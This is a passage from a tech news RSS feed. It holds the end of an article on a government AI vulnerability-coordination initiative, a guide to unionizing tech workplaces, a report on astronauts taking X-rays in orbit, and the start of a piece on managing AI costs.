<p class="wp-block-paragraph">“Treasury, along with our partner agencies, will continue to harness frontier AI capabilities to stay ahead of our adversaries and defend the American people from emerging threats,” Bessent said in the statement.</p>



<p class="wp-block-paragraph">Kaur said AI is likely to deliver the greatest value in vulnerability triage and prioritization.</p>



<p class="wp-block-paragraph">“It can correlate findings from multiple scanners, remove duplicate alerts, link vulnerabilities to known exploitation activity, assess internet exposure, and combine technical severity with asset criticality and potential business impact,” she said.</p>



<p class="wp-block-paragraph">However, she cautioned that AI-generated prioritization is only as reliable as the underlying asset inventories, vulnerability data, and threat intelligence.</p>



<p class="wp-block-paragraph">“AI should therefore support, rather than replace, human validation, compensating-control analysis, and enterprise-specific risk decisions,” she said.</p>



<p class="wp-block-paragraph">Apeksha Kaushik, senior principal analyst at Gartner, said the initiative reflects a broader shift toward measuring cybersecurity performance by reducing actual risk exposure rather than simply increasing patch counts.</p>



<p class="wp-block-paragraph">By helping unify and accelerate vulnerability coordination between government and industry, the initiative could address long-standing challenges around fragmented reporting and inconsistent disclosure practices, enabling enterprises to respond more quickly and efficiently to vulnerabilities, she said.</p>



<h2 class="wp-block-heading">Execution will determine enterprise impact</h2>



<p class="wp-block-paragraph">The announcement outlines Gold Eagle’s objectives but provides few operational details about how organizations will participate, how AI will validate or prioritize vulnerabilities, or how the initiative will work alongside existing coordinated vulnerability disclosure and vulnerability management programs.</p>



<p class="wp-block-paragraph">Kaur said CISOs should view the initiative as an additional source of vulnerability intelligence rather than a replacement for enterprise risk management.</p>



<p class="wp-block-paragraph">“The biggest takeaway is that vulnerability response is moving toward faster, more intelligence-led, and more coordinated prioritization across government and industry,” she said.</p>



<p class="wp-block-paragraph">Even if government coordination improves the quality and timeliness of vulnerability intelligence, enterprises will continue to own remediation decisions, Kaur added. “Government coordination may improve the quality and timeliness of intelligence, but enterprise context must continue to determine the final remediation priority.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reelful’s AI turns your camera roll into short-form videos for social media]]></title>
<description><![CDATA[The app is designed for people who want to create social content, but find traditional video editing tools too complex or time-consuming.]]></description>
<link>https://tsecurity.de/de/3670718/it-nachrichten/reelfuls-ai-turns-your-camera-roll-into-short-form-videos-for-social-media/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670718/it-nachrichten/reelfuls-ai-turns-your-camera-roll-into-short-form-videos-for-social-media/</guid>
<pubDate>Wed, 15 Jul 2026 15:03:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The app is designed for people who want to create social content, but find traditional video editing tools too complex or time-consuming.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to unionize your tech workplace]]></title>
<description><![CDATA[This is Part 2 of a series on tech worker unionization. See Part 1: “A brewing battle: More IT workers want unions. The industry doesn’t.”



The best time for tech workers to unionize was 20 years ago, when they had plenty of leverage. The second-best time is now, when they don’t.



Mass layoff...]]></description>
<link>https://tsecurity.de/de/3670454/it-nachrichten/how-to-unionize-your-tech-workplace/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670454/it-nachrichten/how-to-unionize-your-tech-workplace/</guid>
<pubDate>Wed, 15 Jul 2026 13:18:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><em>This is Part 2 of a series on tech worker unionization. See Part 1: “<a href="https://www.computerworld.com/article/4191760/brewing-battle-more-tech-workers-want-unions-but-the-industry-doesnt.html">A brewing battle: More IT workers want unions. The industry doesn’t</a>.”</em></p>



<p class="wp-block-paragraph">The best time for tech workers to unionize was 20 years ago, when they had plenty of leverage. The second-best time is now, when they don’t.</p>



<p class="wp-block-paragraph">Mass layoffs, AI-driven displacement, corporate surveillance, workplace disillusionment have created conditions that have made organizing compelling for tech professionals. But the federal labor board that has historically protected workers’ right to organize has been weakened, and the companies that once feared it are openly defying it.</p>



<p class="wp-block-paragraph">Here’s how organizers and labor experts describe the pros and cons to organizing — and how you can get started.</p>



<h2 class="wp-block-heading">What unions can — and can’t — do for you</h2>



<p class="wp-block-paragraph">The single biggest benefit of a union contract for most tech workers isn’t pay — it’s protection against arbitrary termination, especially in the wake of recent mass layoffs in tech. In the United States, nonunion “at-will” workers can be fired at any time without a stated reason, while unionized workers negotiate protections written into their contracts.</p>



<p class="wp-block-paragraph">“That fear of the company letting you go for anything at any time…with a union they just can’t do that,” says <a href="https://www.linkedin.com/in/zthompson1/" target="_blank" rel="noreferrer noopener">Zak Thompson</a>, a senior software engineer at Kickstarter and union steward at Kickstarter United. Now that Kickstarter employees are unionized, people are less worried that saying something negative will result in termination.</p>



<p class="wp-block-paragraph">“I’ve been shocked at the willingness of my co-workers to speak up against what they see as poor or controversial business decisions,” Thompson says.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> width="972" height="972" sizes="auto, (max-width: 972px) 100vw, 972px"&gt;<figcaption class="wp-element-caption"><p>Zak Thompson from Kickstarter United</p><br></figcaption></figure><p class="imageCredit">Fee Christoph</p></div>



<p class="wp-block-paragraph"><strong>Beyond job security, unions can deliver concrete material gains.</strong> <a href="https://kickstarterunited.org/about/" target="_blank" rel="noreferrer noopener">Kickstarter United was formed in 2020</a>, although getting there wasn’t easy: two employees were fired during the organizing campaign — which itself became a galvanizing event. And while the union hasn’t been able to prevent layoffs, it did negotiate better terms: four months of severance pay and four to six months of continued health insurance, versus the two to three weeks per year of work that management had initially proposed.</p>



<p class="wp-block-paragraph">Other benefits include a four-day work week; AI protections; a minimum pay floor; and standards for raises, promotions, and time off for the company’s 59 employees.</p>



<p class="wp-block-paragraph"><strong>Unions can give tech workers a voice in decisions that affect their daily work — including how AI tools are deployed.</strong> “Nobody I’ve spoken to is against new technology or getting trained in it,” says <a href="https://www.linkedin.com/in/mbelasco/" target="_blank" rel="noreferrer noopener">Max Belasco</a>, a business systems analyst at the University of California Los Angeles School of Law and co-chair of the UCLA chapter of the University Professional and Technical Employees/Communications Workers of America (UPTE-CWA) Local 9119.</p>



<p class="wp-block-paragraph">“But when new technology is being implemented, we want to know: what’s the five-year vision, the 10-year vision? Are we implementing this in a way that betters staffing, increases efficiency, or eases the lives of people already working? Or are we trying to take away jobs, automate people out of their pension or paycheck?” Belasco says.</p>



<p class="wp-block-paragraph"><strong>The challenges are real.</strong> Tech professionals are less inclined to leave their jobs in the current market because wages haven’t been increasing as fast as they once were, and it can take longer to land another job.</p>



<p class="wp-block-paragraph">“Tech moved from a very tight labor market in 2022 (1.85% unemployment rate) to a noticeably weaker one in 2024–2026 (3.49%),” although that’s still better than the national unemployment rate of 4.36% through May of this year, says <a href="https://www.mercatus.org/scholars/liya-palagashvili" target="_blank" rel="noreferrer noopener">Liya Palagashvili</a>, senior research fellow and director of the Labor Policy Project at the Mercatus Center at George Mason University.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> width="960" height="640" sizes="auto, (max-width: 960px) 100vw, 960px"&gt;<figcaption class="wp-element-caption"><p>Liya Palagashvili of the Mercatus Center at George Mason University</p></figcaption></figure><p class="imageCredit">Mercatus Center at George Mason University</p></div>



<p class="wp-block-paragraph"><strong>Flexibility is a concern.</strong> The more substantive challenge, raised by economists including Palagashvili, is that traditional union contracts impose uniform terms across an entire bargaining unit, limiting the flexibility that many tech workers — and their employers —currently enjoy. Tech firms need to move fast, adjusting teams, products, and roles on the fly.</p>



<p class="wp-block-paragraph">“Collective bargaining agreements can make those adjustments much more difficult, whether by making them slower, costlier, or inconsistent with the contract,” she says.</p>



<p class="wp-block-paragraph">Workers skeptical of unions in a <a href="https://www.teamblind.com/blog/why-are-unions-not-common-tech-industry/" target="_blank" rel="noreferrer noopener">survey of 1,900 tech professionals</a> conducted by the career site Blind cited specific concerns: that unions are “not meritocratic,” “prevent innovation,” and “hold back earnings of top performers.”</p>



<p class="wp-block-paragraph">Thompson from Kickstarter United pushes back: “We have nothing in our contract about ‘you can’t bend down and pick up a piece of trash because that’s someone else’s job.’ The company is free to give bonuses and individual raises as much as they like. This is all just up to the people who are bargaining the contract from the union side.”</p>



<p class="wp-block-paragraph"><strong>Organizing carries potentially serious personal risks.</strong> During negotiations for a second three-year contract in 2025, Kickstarter United went on strike for 42 days. A few months later, the company announced layoffs.</p>



<p class="wp-block-paragraph">“They let go strong union leaders, including a person who had bargained our last contract,” Thompson says. The union appealed, and the issue is now going to arbitration.</p>



<p class="wp-block-paragraph">If you form a union, don’t expect much support from the <a href="https://www.nlrb.gov/" target="_blank" rel="noreferrer noopener">National Labor Relations Board</a>, the agency that certifies US labor unions and protects workers’ right to organize, in terms of prosecuting complaints of unfair labor practices, Thompson warns. “We’re in a political moment in this country with a pretty weakened NLRB. You have to be ready to organize and withhold worker power without any guarantee of safety.”</p>



<p class="wp-block-paragraph"><strong>Organizers are up against an enormous union avoidance industry.</strong> Organizers can expect fierce pushback as soon as the business discovers that organizing is underway.</p>



<p class="wp-block-paragraph">“There’s a multi-billion-dollar industry in union avoidance,” says <a href="https://www.linkedin.com/in/alan-mcavinney-a386b8122/" target="_blank" rel="noreferrer noopener">Alan McAvinney</a>, a Google software engineer and organizing chair, Alphabet Workers Union-CWA, a 1,400-member minority union of Alphabet employees. (Google is a subsidiary of Alphabet.)</p>



<p class="wp-block-paragraph">US employers spend roughly $1.7 billion a year on union avoidance consultants and law firms, according to a <a href="https://www.epi.org/press/u-s-employers-spend-roughly-1-7-billion-annually-on-union-avoidance/" target="_blank" rel="noreferrer noopener">May 2026 report</a> by the Economic Policy Institute and LaborLab.</p>



<p class="wp-block-paragraph"><strong>Expect hardball tactics. </strong>Management may play hardball during the time between when organizers announce their intention to unionize and the actual vote. For example, management can threaten to fire foreign-born workers in the US on H-1B visas if they support the union. Those workers would then have just 60 days to find a new sponsoring employer or lose their H-1B status, according to a recent <a href="https://techworkerscoalition.org/blog/2025/03/14/immigrant-rights-are-labor-rights-tech-workers-and-h-1b-visas/" target="_blank" rel="noreferrer noopener">Tech Workers Coalition blog post</a>.</p>



<p class="wp-block-paragraph">And at venture capital-backed startups, investment agreements sometimes require management to attest there is no union activity — meaning a public organizing drive can trigger funding withdrawal. Or, if a unionized company is acquired, the new management can dissolve the union overnight by reclassifying unionized workers as new hires.</p>



<p class="wp-block-paragraph">With these sobering facts in mind, here is how organizers who have done it describe the process of creating a union.</p>



<h2 class="wp-block-heading">Step 1: Start a conversation with your co-workers</h2>



<p class="wp-block-paragraph">At the University of California, a two-tier system had evolved where some tech workers were unionized and some weren’t, Belasco says. Management created new titles that fell outside the union even though they had similar job descriptions and responsibilities to those in the union. Those nonunion employees received lower pay and benefits than their unionized peers, which created resentment and instability.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Max Belasco from the UCLA chapter of UPTE-CWA</p>
</figcaption></figure><p class="imageCredit">Zac Goldstein</p></div>



<p class="wp-block-paragraph">Belasco and other organizers wanted to eliminate that division by bringing everyone under the same contract. But when they began their unionization drive, “the biggest barrier we faced wasn’t management opposition — it was that people felt this was just the best-case scenario realistically available: ‘We have this job at the university, we have concerns about automation and layoffs, but what can we really do about it?'” he says.</p>



<p class="wp-block-paragraph">The antidote to that fatalism, organizers say, is simple: “Just start talking to your immediate co-workers. Are they experiencing the same challenges you are experiencing?” says McAvinney. “There’s no need to start talking about a union at this point.”</p>



<p class="wp-block-paragraph">Just get a consensus and start building a group of like-minded individuals, Thompson advises. “Always start with one-on-one conversations, and that’s what you should do the whole time. That’s the key to organizing,” he says.</p>



<p class="wp-block-paragraph">Tech workers often think they’re a special case, says Thompson, and therefore that unionization isn’t a good fit. “You’re not special. You are a company of workers, you are organizing, and there is a playbook for that. Trust the process, because it tends to work pretty well,” he says.</p>



<h2 class="wp-block-heading">Step 2: Who’s on board, and who’s not? Map your workplace, but keep it quiet</h2>



<p class="wp-block-paragraph">Once there’s a consensus, continue to grow your network. Keep a list of everyone you’ve spoken with and note their disposition: “Is this person union-friendly or anti-union? Would they be a strong organizer?” Thompson says.</p>



<p class="wp-block-paragraph">Maintaining secrecy early on is essential, because anti-union tactics will start immediately, and that can stop union organizing before it can gain momentum.</p>



<p class="wp-block-paragraph">“Generally, employers do not want to share power with their workforce,” McAvinney says. Employers will deploy every means at their disposal to stop organizing efforts and peel away potential yes votes.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="839" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Alan McAvinney from Alphabet Workers Union-CWA</p><br></figcaption></figure><p class="imageCredit">Aran Per Ink</p></div>



<p class="wp-block-paragraph">“If you look at historical examples, having 70% approval before the employer finds out about you results in a high percentage of wins when you actually cast the vote. Historically, that’s an effective buffer,” he says.</p>



<p class="wp-block-paragraph">There’s a real threat of firing and layoffs<em>.</em> The traditional tech worker belief that job mobility makes collective action unnecessary is now being tested by a tighter job market, McAvinney says, noting that workers who many believe <a href="https://www.newsweek.com/google-fires-thanksgiving-four-workers-crush-dissent-1474102" target="_blank" rel="noreferrer noopener">were fired for speaking out</a> back in 2019 were a galvanizing factor in his union’s formation.</p>



<p class="wp-block-paragraph">“You generally don’t want to be in a situation where the employer feels comfortable firing everyone. Part of that is thinking from a cynical standpoint about what the consequences would be to the employer if they did fire everyone,” he says.</p>



<p class="wp-block-paragraph">One-on-one conversations that include personally asking co-workers to keep conversations confidential are key to keeping things quiet, Belasco says. When <a href="https://upte.org/news/2100-tech-workers-vote-to-join-upte" target="_blank" rel="noreferrer noopener">2,100 UC tech workers voted to unionize</a> in May, 96% voted in favor. To stay out of earshot of managers, avoid employee surveillance tools, and sidestep conference calls that could be recorded, organizers met with workers in their homes.</p>



<p class="wp-block-paragraph">“That tactic is probably what made the difference between winning the election and getting the majority we got,” he says.</p>



<h2 class="wp-block-heading">Step 3: Find the right union affiliation or go it alone</h2>



<p class="wp-block-paragraph">“Running a campaign against major employers requires the resources and expertise of the larger labor movement, even if workers publicly present as independent,” says <a href="https://www.ilr.cornell.edu/people/kate-l-bronfenbrenner">Kate Bronfenbrenner</a>, director of labor education research and senior lecturer emeritus at Cornell University’s School of Industrial and Labor Relations.</p>



<p class="wp-block-paragraph">Options include the <a href="https://cwa-union.org/" target="_blank" rel="noreferrer noopener">Communications Workers of America</a> (CWA), <a href="https://www.seiu.org/" target="_blank" rel="noreferrer noopener">Service Employees International Union</a> (SEIU), and the <a href="https://www.opeiu.org/" target="_blank" rel="noreferrer noopener">Office and Professional Employees International Union</a> (OPEIU), among others. Another resource, the <a href="https://techworkerscoalition.org/">Tech Workers Coalition</a> (TWC), provides training on organizing tactics, AI-in-workplace issues, and contract negotiation, and can match workers to the right unions for their needs.</p>



<p class="wp-block-paragraph">The <a href="https://www.alphabetworkersunion.org/" target="_blank" rel="noreferrer noopener">Alphabet Workers Union</a> decided early on to affiliate with CWA. “They gave us a bunch of support early on in our campaign with no strings attached,” McAvinney says.</p>



<p class="wp-block-paragraph">Kickstarter is organized through OPEIU, Thompson says. “They’ll usually have resources and staff that can help you through the next steps: collecting signatures in support of a union, bringing that to management, holding a vote — the more formalized things that interact with US labor law. They’ll also help with organizing along the way,” he says.</p>



<p class="wp-block-paragraph">For workers at institutions where a union already exists, there may be a faster path. Organizers at UCLA did what’s called a “unit modification,” aligning with UPTE. By organizing under UPTE, the workers didn’t have to negotiate a new contract from scratch — they joined an already-negotiated contract covering existing UPTE tech members, which put them in “a much stronger position” than starting fresh, Belasco says.</p>



<h2 class="wp-block-heading">Step 4: Choose your union model: majority vs. pre-majority or minority</h2>



<p class="wp-block-paragraph">Assess what’s practical for your organizing effort. In a majority union, more than 50% of all workers in a defined bargaining unit must vote to join the union through an NLRB-supervised election in the private sector, or a Public Employment Relations Board (PERB)-supervised election for public sector workers.</p>



<p class="wp-block-paragraph">The NLRB must certify the union, which then operates under its legal protections. This means, for example, that the employer must bargain, negotiated contracts are enforceable, violations must go to the NLRB or arbitration, and workers can’t be dismissed without just cause.</p>



<p class="wp-block-paragraph">A pre-majority or minority union is a minority labor organization operating without NLRB protections or collective bargaining agreements. “Pre-majority means that workers are able to demonstrate majority support — through signed cards, petitions, a walkout, or everyone wearing solidarity T-shirts — without going through a formal election,” Bronfenbrenner says.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Kate Bronfenbrenner from the School of Industrial and Labor Relations, Cornell University</p><br></figcaption></figure><p class="imageCredit">ILR School/Cornell University</p></div>



<p class="wp-block-paragraph">The Alphabet Workers Union-CWA (AWU-CWA) formed as a pre-majority union because achieving majority status across a globally distributed workforce of over 100,000 was not a realistic near-term goal. “An underground model where you try to reach 70% support across a workforce of over 100,000 people isn’t realistic,” McAvinney says.</p>



<p class="wp-block-paragraph">A pre-majority union can still make a difference, he says. For example, the Alphabet Workers Union-CWA convinced management to offer voluntary exit packages — buyouts — prior to announcing layoffs.</p>



<p class="wp-block-paragraph">For smaller organizations, a majority union may be the more practical option — it’s more attainable, McAvinney says. “I don’t think [the pre-majority union model] is the correct thing to do in all situations. I certainly would not recommend it to a 200-person shop.”</p>



<p class="wp-block-paragraph">Kickstarter, which had fewer than 100 employees, was able to form a majority union, with 55% voting to organize.</p>



<p class="wp-block-paragraph">Ultimately, says McAvinney, “there’s no inflection point where you go from being able to win nothing to winning everything, even with a contract and a supermajority. But the more people you have who are willing and able to fight for what they want, the more you’ll be able to get.”</p>



<h2 class="wp-block-heading">Step 5: Who should — and should not — be in your union?</h2>



<p class="wp-block-paragraph">Belasco’s situation at UCLA illustrates a broader strategic choice that every organizing campaign must make. He had been in a union position in educational technology when he was told his role would be reclassified as a non-union position.</p>



<p class="wp-block-paragraph">“I was given a choice: apply to the new non-union position to continue doing the work I’d trained for, or stay in my union position doing service desk work I wasn’t used to,” he says. “Essentially, it was a choice between job security and career progression.”</p>



<p class="wp-block-paragraph">Belasco joined a “wall-to-wall” union, which represents a broad range of university professional and technical employees across the UC system rather than a single job category, such as engineers or tech professionals.</p>



<p class="wp-block-paragraph">Kickstarter United is another example of a wall-to-wall union. “It’s not just the engineers who are unionized, but also customer support, designers — everyone,” Thompson says.</p>



<p class="wp-block-paragraph">Wall-to-wall unions are more powerful, but they’re also more difficult to achieve. <a href="https://www.law.cornell.edu/uscode/text/29/159" target="_blank" rel="noreferrer noopener">Under US labor law</a>, “professionals have to vote separately on whether they want to be combined with other workers,” says Bronfenbrenner. “You can never have a wall-to-wall unit without giving professionals the chance to decide whether they want to be separate.”</p>



<p class="wp-block-paragraph">The law’s “professional employees” category includes roles like software engineers and developers but not necessarily others. For example, customer support specialists and QA analysts would fall into the “non-professional workers” category.</p>



<p class="wp-block-paragraph">“For decades, the pattern was either to organize everybody except the engineers, or manage to organize the engineers and fail to bring in everybody else — neither of which builds real worker power,” says <a href="https://www.linkedin.com/in/simonerobutti/" target="_blank" rel="noreferrer noopener">Simone Robutti</a>, an organizer with Tech Workers Coalition Global, an international branch of TWC based in Berlin.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> width="959" height="713" sizes="auto, (max-width: 959px) 100vw, 959px"&gt;<figcaption class="wp-element-caption"><p>Simone Robutti from Tech Workers Coalition Global</p><br></figcaption></figure><p class="imageCredit">TWC</p></div>



<h2 class="wp-block-heading">Step 6: You won the vote. Get ready for what comes next</h2>



<p class="wp-block-paragraph">Winning a union vote means having a seat at the table, says Thompson. “Once the workers have come together and agreed they want that seat, you bring that to management, and they have a chance to voluntarily recognize a union,” he says.</p>



<p class="wp-block-paragraph">But in most cases employers contest the results, which must be certified by the NLRB or PERB. That process, in which the employer uses various tactics to challenge the legitimacy of the outcome, can take weeks or months.</p>



<p class="wp-block-paragraph">Unfortunately, the legal framework that is supposed to protect workers during this process has been <a href="https://workerorganizing.org/elon-musk-spacex-nlrb-15975/#:~:text=CAN%20THE%20NLRB%20STILL%20ENFORCE%20LAWS%3F" target="_blank" rel="noreferrer noopener">significantly weakened</a> in the last few years. In a potentially more ominous development, <a href="https://apnews.com/article/amazon-nlrb-unconstitutional-spacex-elon-musk-ab42977117d883e97110a7bf8e8b257f" target="_blank" rel="noreferrer noopener">SpaceX</a>, <a href="https://apnews.com/article/amazon-nlrb-50ee06d87d4eaef22386382761335ef8" target="_blank" rel="noreferrer noopener">Amazon</a>, <a href="https://www.huffpost.com/entry/trader-joes-attorney-nlrb-unconstitutional_n_65b41e7ae4b014b873b11cc2" target="_blank" rel="noreferrer noopener">Trader Joe’s</a>, <a href="https://news.bloomberglaw.com/daily-labor-report/starbucks-is-latest-company-to-call-labor-board-unconstitutional" target="_blank" rel="noreferrer noopener">Starbucks</a>, and the <a href="https://capitalandmain.com/usc-follows-amazon-and-musks-spacex-in-calling-labor-board-unconstitutional" target="_blank" rel="noreferrer noopener">University of Southern California</a> have in separate legal actions <a href="https://www.epi.org/blog/whats-behind-the-corporate-effort-to-kneecap-the-national-labor-relations-board-spacex-amazon-trader-joes-and-starbucks-are-trying-to-have-the-nlrb-declared-unconstitutional/" target="_blank" rel="noreferrer noopener">challenged the constitutionality of the NLRB</a>, arguing that the agency’s structure violates the separation of powers. The Fifth Circuit Court of Appeals <a href="https://law.justia.com/cases/federal/appellate-courts/ca5/24-50627/24-50627-2025-08-19.html?__cf_chl_f_tk=do9nl63o6rfY2sxOjPeR5MkVGY4u1OTRYOVYjTQTOG0-1782836265-1.0.1.1-IXqkGFSiOH5hYYOqqrEqH6VFIApNL3MRHW6YNiDwERI" target="_blank" rel="noreferrer noopener">upheld injunctions against the NLRB</a> in SpaceX’s case in August 2025 — a serious challenge to the agency’s authority.</p>



<p class="wp-block-paragraph">In the meantime, some companies may disregard negotiated contracts, which can lead to lengthy legal appeals or extended arbitration.</p>



<p class="wp-block-paragraph">“The NLRB can still force an election, but it can’t force a contract, and companies are saying they simply won’t comply,” Bronfenbrenner says. This is where the expertise and resources of affiliation with a major union can help, she adds.</p>



<p class="wp-block-paragraph">As a result, contract negotiations can take far longer than workers might expect. At Kickstarter, for example, two years and four months elapsed from the time of the union vote to the first contract, and that was at a 59-person company with a relatively cooperative employer. At larger companies with more aggressive legal teams, the timeline will be longer.</p>



<p class="wp-block-paragraph">Forming a union is hard work, Robutti says. “It’s not a service you pay for and they protect you. It doesn’t happen spontaneously, and it doesn’t happen magically. It’s the choice to take responsibility for improving your workplace.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Astronauts Take First X-Rays In Space]]></title>
<description><![CDATA[Astronauts on SpaceX's Fram2 mission successfully captured diagnostic X-ray images in orbit for the first time. The milestone gives space medicine a second imaging option beyond ultrasound and could help future crews diagnose injuries, inspect equipment, and support longer missions to the moon or...]]></description>
<link>https://tsecurity.de/de/3670415/it-security-nachrichten/astronauts-take-first-x-rays-in-space/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670415/it-security-nachrichten/astronauts-take-first-x-rays-in-space/</guid>
<pubDate>Wed, 15 Jul 2026 13:09:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronauts on SpaceX's Fram2 mission successfully captured diagnostic X-ray images in orbit for the first time. The milestone gives space medicine a second imaging option beyond ultrasound and could help future crews diagnose injuries, inspect equipment, and support longer missions to the moon or beyond. Popular Science reports: Commercial off-the-shelf X-ray machines like the ice cooler-sized MinXray TR90BH now allow users to perform scans on subjects far away from traditional facilities. In 2022, [Mayo Clinic researcher Sheyna Gifford] assisted in preparing a crew to successfully generate digital X-rays while experiencing microgravity during a parabolic flight. Gifford's team then spent years collaborating with SpaceX to plan another feasibility study. This time, they didn't want to operate an X-ray machine aboard an aircraft simulating the conditions in space -- they intended to use the equipment during an orbital mission.
 
The process was detailed in a recently published study in the journal Radiology, and focuses on last year's Fram2 mission. Instead of days of medical training, astronauts spent only four hours learning how to use their portable radiography device. They then took preflight X-rays of a hand, forearm, chest, abdomen, and pelvis ahead of their SpaceX Falcon 9 rocket launch on March 31, 2025. Once in orbit, the team calibrated the system before testing their MinXray on the same body parts as well as a smartwatch.
 
Once the crew returned, a trio of independent radiologists reviewed the orbital X-ray images based on their positioning, spatial and contrast resolutions, and general scan quality. Although positioning scores were slightly decreased for the central body images, every other scan held up to similar examples created on Earth. Meanwhile, the astronauts reported that using the machine was easy despite minimal prior coaching. Looking ahead, researchers hope to conduct further X-ray tests during orbital missions, while continuing to reduce the overall size of equipment.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Astronauts+Take+First+X-Rays+In+Space%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F15%2F0354223%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F15%2F0354223%2Fastronauts-take-first-x-rays-in-space%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/07/15/0354223/astronauts-take-first-x-rays-in-space?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI recommendations are becoming ecommerce’s most valuable source of traffic]]></title>
<description><![CDATA[New data suggests visitors referred by AI tools are converting at significantly higher rates than those arriving through traditional search.]]></description>
<link>https://tsecurity.de/de/3670366/it-nachrichten/why-ai-recommendations-are-becoming-ecommerces-most-valuable-source-of-traffic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670366/it-nachrichten/why-ai-recommendations-are-becoming-ecommerces-most-valuable-source-of-traffic/</guid>
<pubDate>Wed, 15 Jul 2026 12:47:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New data suggests visitors referred by AI tools are converting at significantly higher rates than those arriving through traditional search.]]></content:encoded>
</item>
<item>
<title><![CDATA[5 ways for CIOs to avoid AI bill shock]]></title>
<description><![CDATA[Gen AI spending is moving beyond the familiar software model of seats, licenses, and pilots. As AI shifts from copilots to embedded workflows and autonomous agents, one user request can trigger multiple model calls, retrieval steps, retries, orchestration layers, and infrastructure events. A tool...]]></description>
<link>https://tsecurity.de/de/3670246/it-security-nachrichten/5-ways-for-cios-to-avoid-ai-bill-shock/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670246/it-security-nachrichten/5-ways-for-cios-to-avoid-ai-bill-shock/</guid>
<pubDate>Wed, 15 Jul 2026 12:08:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Gen AI spending is moving beyond the familiar software model of seats, licenses, and pilots. As AI shifts from copilots to embedded workflows and autonomous agents, one user request can trigger multiple model calls, retrieval steps, retries, orchestration layers, and infrastructure events. A tool that looks affordable in pilot may behave very differently once connected to production systems or allowed to act with less human supervision.</p>



<p class="wp-block-paragraph">According to Michael Corrigan, CIO of World Insurance Associates, AI introduces a fundamentally different cost model — one that’s usage driven, non-linear, and tightly coupled to business activity. “Success requires shifting from traditional IT budgeting to FinOps-style discipline where consumption, value, and governance are actively managed in real time,” he says.</p>



<p class="wp-block-paragraph">Here are five ways CIOs can build that discipline before AI costs spiral.</p>



<h2 class="wp-block-heading">Forecast AI by workflow, not by user</h2>



<p class="wp-block-paragraph">At World, a top 25 insurance broker with about 3,000 employees across roughly 300 locations, AI use falls into three broad categories, Corrigan says. One is broad tools, such as copilots. Another is embedded AI inside SaaS platforms. And the third is bespoke AI built around specific workflows and manual processes.</p>



<p class="wp-block-paragraph">“The bespoke is the area that’s growing the most right now,” he says. “And that’s where the model, from a cost perspective, has really been shifting from a license seat cost to a token consumption or token burn cost, or even a hybrid.”</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Michael Corrigan, CIO, World Insurance Associates</p>
</figcaption></figure><p class="imageCredit">WIA</p></div>



<p class="wp-block-paragraph">Seat-based pricing is relatively easy to forecast whereas consumption-based AI isn’t. Costs may depend on prompt complexity, output length, model choice, workflow design, and whether the system calls a model once or many times in the background.</p>



<p class="wp-block-paragraph">World tries to manage that uncertainty by defining the business problem, success criteria, and expected operational improvement upfront. Pilots help estimate consumption before scaling, but Corrigan says they don’t remove the ambiguity.</p>



<p class="wp-block-paragraph">“We’ll try our best in the pilot to understand what the consumption rate is, what the token burn rate is,” he says. But once a consumption-based workflow goes into production, he adds, an estimate is put into place. That estimate is informed, but still rough.</p>



